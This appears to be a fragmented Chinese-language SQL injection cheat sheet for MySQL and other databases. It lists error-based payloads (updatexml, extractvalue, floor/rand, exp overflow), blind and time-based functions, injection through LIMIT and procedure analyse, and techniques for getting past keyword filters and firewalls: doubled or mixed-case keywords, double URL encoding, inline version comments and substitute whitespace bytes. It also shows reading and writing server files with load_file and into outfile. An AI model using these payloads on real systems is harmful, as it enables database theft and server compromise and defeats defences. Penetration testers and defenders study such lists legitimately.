updatexml()
更新xml文档函数,语法:updatexml(目标xml文档,xml路径,更新的内容)
,例:select updatexml(1,concat(0x7e,(select version()),0x7e),1);
。
extractvalue()
XML文档查询函数,语法:extractvalue(目标xml文档,xml路径)
,例:select extractvalue(‘anything’,concat(‘~’,(select database())));
。
floor()
返回小于等于该值的最大整数,原理:rand()
和order by()
或group by()
的冲突,例如:and select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)
。
exp(x)
返回e(自然对数的底)指数X的幂值,原理:传入值大于709时产生溢出报错,例:?id=1' and exp(~(select * from (select user())x))%23
。
substring(expression,start,length)
substr(str,start.length)
left(str,length)
right(str,length)
ascii()
ord()
hex()
if(cond,Ture_result,False_result)
length(str)
sleep(N)
benchmark(N,expression)
select field from table where id >0 order by id limit {injection_point}
select field from table where id >0 order by id limit 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
select
-- selselectect
select
-- SelECt
select
-- selec\x74
select
-- %25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34
"\bselect\b"
可以用形如"/*!50000select*/"
来绕过。%0a、%0b、%0c、%0d、%09、%a0(在特定字符集才能利用)
#、--、//、/**/、;%00、/*!*/
%20 -- %2520
SQLite3 -- 0A,0D,0C,09,20 MySQL5 -- 09,0A,0B,0C,0D,A0,20 PosgresSQL -- 0A.0D.0C,09,20 Oracle llg -- 00,0A,0D,0C,09,20 MSSQL -- 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
-、+、!、`(反引号)
select user,password from users where user_id=0e1union slect 1,2
\
转移单引号utf8_unicode_ci
和utf8_general_ci
两种编码格式。utf8_general_ci
不仅不区分大小写,而且Ä=A,Ö=O,Ü=U这三种等式都成立。对于utf8_general_ci
等式ß=s是成立的,但是,对于utf8_unicode_ci
,等式ß=ss才是成立的。load_file
和into outfile/dumpfile
进行读写。格式: load_file('file_name') into outfile 'file_name' into dumpfile 'file_name'